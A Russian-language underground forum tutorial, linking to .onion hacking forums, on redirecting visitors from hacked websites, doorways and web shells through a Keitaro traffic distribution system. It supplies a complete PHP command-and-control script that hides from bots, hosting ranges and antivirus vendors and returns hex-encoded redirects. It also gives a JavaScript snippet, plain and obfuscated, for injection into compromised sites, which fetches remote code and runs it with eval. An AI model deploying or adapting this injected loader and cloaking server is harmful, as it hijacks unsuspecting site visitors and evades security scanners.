April 5, 2020

Сливаем трафик с Сайтов/Дорвеев/Shells

Нам понадобится:

---

VPS под CC

(Можно взять хостинг)

VPS под KeitaroTDS

(Можно белый он не будет светится в Web)

KeitaroTDS

Тут бесплатно: https://exploitinqx4sjro.onion/topic/167835/

Тут платно:

https://keitaro.io

Настройку хостов и кейтаро разбирайтесь сами, описывать не буду.

---

Скрипт CC:

Вам в нем нужно вписать данные Click Client v3 из тдс:

$TDS_api_url = "http://demo-en.keitaro.io/api.php?";
$Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb";

Файл

pixel.php

- на него будут запросы из JS.

По дефолту перед запросами в тдс идет клоака:

https://xsstorweb56srs3a.onion/threads/35415/

<?php

error_reporting(0);

header("Access-Control-Allow-Origin: *");

$TDS_api_url = "http://demo-en.keitaro.io/api.php?";
$Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb";
$CHECK_IPS_KEY = "key_free";

function bad_reguest(){exit();}

###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
$CHECK_IPS_API_ISP = "http://checkisp.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###

if( ### Check USER_AGENT

    strpos($GLOBAL_UA, urlencode('http://')) !== false ||
    strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false ||
    strpos($GLOBAL_UA, urlencode('Python')) !== false ||
    strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
    strpos($GLOBAL_UA, urlencode('bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
    strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
    strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
    strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
    strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
    strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
    strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
    strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
    strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
    strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
    #ADD MORE

){
    bad_reguest();
} else {

    if ( ### Check CHECK_IPS_API_BOT
    strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
    ){
        bad_reguest();
    } else {
  
        ### Check CHECK_IPS_API_ISP
        $GET_ISP = file_get_contents($CHECK_IPS_API_ISP);
        if (

        strpos($GET_ISP, 'Hosting') !== false ||
        strpos($GET_ISP, 'hosting') !== false ||
        strpos($GET_ISP, 'HOSTING') !== false ||
        strpos($GET_ISP, 'cloud') !== false ||
        strpos($GET_ISP, 'Cloud') !== false ||
        strpos($GET_ISP, 'CLOUD') !== false ||
        strpos($GET_ISP, 'Vps') !== false ||
        strpos($GET_ISP, 'VPS') !== false ||
        strpos($GET_ISP, 'Dedicated') !== false ||
        strpos($GET_ISP, 'Zscaler') !== false ||
        strpos($GET_ISP, 'ScanSafe') !== false ||
        strpos($GET_ISP, 'Google') !== false ||
        strpos($GET_ISP, 'Amazon') !== false ||
        strpos($GET_ISP, 'Microsoft') !== false ||
        strpos($GET_ISP, 'WANSecurity') !== false ||
        strpos($GET_ISP, 'Yahoo') !== false ||
        strpos($GET_ISP, 'Baidu') !== false ||
        strpos($GET_ISP, 'YANDEX') !== false ||
        strpos($GET_ISP, 'Yandex') !== false ||
        strpos($GET_ISP, 'Mail.RU') !== false ||
        strpos($GET_ISP, 'Mail.Ru') !== false ||
        strpos($GET_ISP, 'Cisco') !== false ||
        strpos($GET_ISP, 'OpenDNS') !== false ||
        strpos($GET_ISP, 'AVIRA') !== false ||
        strpos($GET_ISP, 'Avira') !== false ||
        strpos($GET_ISP, 'ESET') !== false ||
        strpos($GET_ISP, 'Kaspersky') !== false ||
        strpos($GET_ISP, 'Bitdefender') !== false ||
        strpos($GET_ISP, 'Sucuri') !== false ||
        strpos($GET_ISP, 'DRWEB') !== false ||
        strpos($GET_ISP, 'AVAST') !== false ||
        strpos($GET_ISP, 'Bullguard') !== false ||
        strpos($GET_ISP, 'COMODO') !== false ||
        strpos($GET_ISP, 'Comodo') !== false ||
        strpos($GET_ISP, 'F-Secure') !== false ||
        strpos($GET_ISP, 'Fortinet') !== false ||
        strpos($GET_ISP, 'McAfee') !== false ||
        strpos($GET_ISP, 'Norton') !== false ||
        strpos($GET_ISP, 'Panda') !== false ||
        strpos($GET_ISP, 'PayPal') !== false ||
        strpos($GET_ISP, 'Symantec') !== false ||
        strpos($GET_ISP, 'Facebook') !== false ||
        strpos($GET_ISP, 'SurfControl') !== false ||
        strpos($GET_ISP, 'IKARUS') !== false ||
        strpos($GET_ISP, 'Ikarus') !== false ||
        strpos($GET_ISP, 'Security') !== false ||
        strpos($GET_ISP, 'Webroot') !== false ||
        strpos($GET_ISP, 'Trend Micro') !== false ||
        strpos($GET_ISP, 'Sophos') !== false ||
        strpos($GET_ISP, 'Unithost') !== false ||
        strpos($GET_ISP, 'SURFnet') !== false ||
        strpos($GET_ISP, 'DREAMLINE CO.') !== false ||
        strpos($GET_ISP, 'Alibaba') !== false ||
        strpos($GET_ISP, 'Advertising') !== false ||
        strpos($GET_ISP, 'Outbrain') !== false ||
        strpos($GET_ISP, 'Airespring') !== false ||
        strpos($GET_ISP, 'MegaPath') !== false ||
        strpos($GET_ISP, 'Intelligence') !== false ||
        strpos($GET_ISP, 'LG DACOM Corporation') !== false ||
        strpos($GET_ISP, 'Trustwave') !== false ||
        strpos($GET_ISP, 'Palo Alto Networks') !== false ||
        strpos($GET_ISP, 'Palo Alto Unified School District') !== false ||
        strpos($GET_ISP, 'Internet Archive') !== false ||
        strpos($GET_ISP, 'Tierpoint') !== false ||
        strpos($GET_ISP, 'TruVista') !== false
        #ADD MORE
  
        )
        {
            bad_reguest();
        } else {
        
            require_once 'kclick_client.php';
            $client = new KClickClient($TDS_api_url, $Click_API_token);
            $client->ip($GLOBAL_IP);
            $header = $client->getHeaders();
            $header_url = $header[0];
            $header_url = preg_replace('/LOCATION: /', '', $header_url);
            $header_url = preg_replace('/Location: /', '', $header_url);
            $go_url = $header_url;
            if(strpos($go_url, 'http') !== false) {
                function str2hex( $str ) {
                    return array_shift( unpack('H*', $str) );
                }
                $txt = 'window.location = "'.$go_url.'";';
                $hex = str2hex( $txt );
                echo $hex;
            } else {
                bad_reguest();
            }

        }

    }

}

exit();

?>

Рядом с pixel.php должен лежать файл kclick_client.php

Он есть в тдс

http://demo-en.keitaro.io/admin/?object=codePresets.downloadClient

Переходим к JS для ресурсов, var x_u = "https://URL_DOMAIN/pixel.php"; - пропишите свой URL до pixel.php

Не забываем сделать SSL-сертификат на домен CC.

var x_u = "https://URL_DOMAIN/pixel.php";
function xhr_load(url) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            if(xhr.status== 200 || xhr.status == 304){
                var rl = ""+xhr.responseText;
                function h2a(r){for(var t=r.toString(),n="",e=0;e<t.length&&"00"!==t.substr(e,2);e+=2)n+=String.fromCharCode(parseInt(t.substr(e,2),16));return n}
                if("null"!==rl&&void 0!==rl&&""!==rl){
                    eval(h2a(rl));
                } else {}
            }
        }
    }
    xhr.open('GET', url, true);
    xhr.send(null);
}
if (typeof localStorage !== 'undefined') {
    if (localStorage.getItem('_uis') !== '_uis'){
        localStorage.setItem("_uis", "_uis");
        xhr_load(x_u);
    }
}

Перед вставкой на сайт пропустите через обфускатор.

Вот бесплатный вариант:

Javascript Obfuscator - Protects JavaScript code from stealing and shrinks size

Online Javascript Obfuscator

www.javascriptobfuscator.com

На выходе будет такое:

var _0xe095=["\x68\x74\x74\x70\x3A\x2F\x2F\x55\x52\x4C\x5F\x44\x4F\x4D\x41\x49\x4E\x2F\x70\x69\x78\x65\x6C\x2E\x70\x68\x70","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x44\x4F\x4E\x45","\x73\x74\x61\x74\x75\x73","","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x6C\x65\x6E\x67\x74\x68","\x30\x30","\x73\x75\x62\x73\x74\x72","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6E\x75\x6C\x6C","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x5F\x75\x69\x73","\x67\x65\x74\x49\x74\x65\x6D","\x73\x65\x74\x49\x74\x65\x6D"];
var x_u=_0xe095[0];function xhr_load(_0xb0ecx3){var _0xb0ecx4= new XMLHttpRequest();_0xb0ecx4[_0xe095[1]]= function(){if(_0xb0ecx4[_0xe095[2]]== XMLHttpRequest[_0xe095[3]]){if(_0xb0ecx4[_0xe095[4]]== 200|| _0xb0ecx4[_0xe095[4]]== 304){var _0xb0ecx5=_0xe095[5]+ _0xb0ecx4[_0xe095[6]];function _0xb0ecx6(_0xb0ecx7){for(var _0xb0ecx8=_0xb0ecx7.toString(),_0xb0ecx9=_0xe095[5],_0xb0ecxa=0;_0xb0ecxa< _0xb0ecx8[_0xe095[7]]&& _0xe095[8]!== _0xb0ecx8[_0xe095[9]](_0xb0ecxa,2);_0xb0ecxa+= 2){_0xb0ecx9+= String[_0xe095[10]](parseInt(_0xb0ecx8[_0xe095[9]](_0xb0ecxa,2),16))};return _0xb0ecx9}if(_0xe095[11]!== _0xb0ecx5&& void(0)!== _0xb0ecx5&& _0xe095[5]!== _0xb0ecx5){eval(_0xb0ecx6(_0xb0ecx5))}else {}}}};_0xb0ecx4[_0xe095[13]](_0xe095[12],_0xb0ecx3,true);_0xb0ecx4[_0xe095[14]](null)}if( typeof localStorage!== _0xe095[15]){if(localStorage[_0xe095[17]](_0xe095[16])!== _0xe095[16]){localStorage[_0xe095[18]](_0xe095[16],_0xe095[16]);xhr_load(x_u)}}

Что получаем:

JS Выполнет проверку localStorage

Если доступно ставит куку localStorage (Чтоб не было кучи хитов/Проверка на уникальность),

После установки куки выполняет XMLHttpRequest запрос до CC,

Получает от CC закодированные в HEX данные, и делает eval.

CC Выполнет проверку на ботов,

Если все ок, делает запрос в TDS,

Получает из TDS домен для редиректа,

Кодирует редиркет в hex и отдает контент.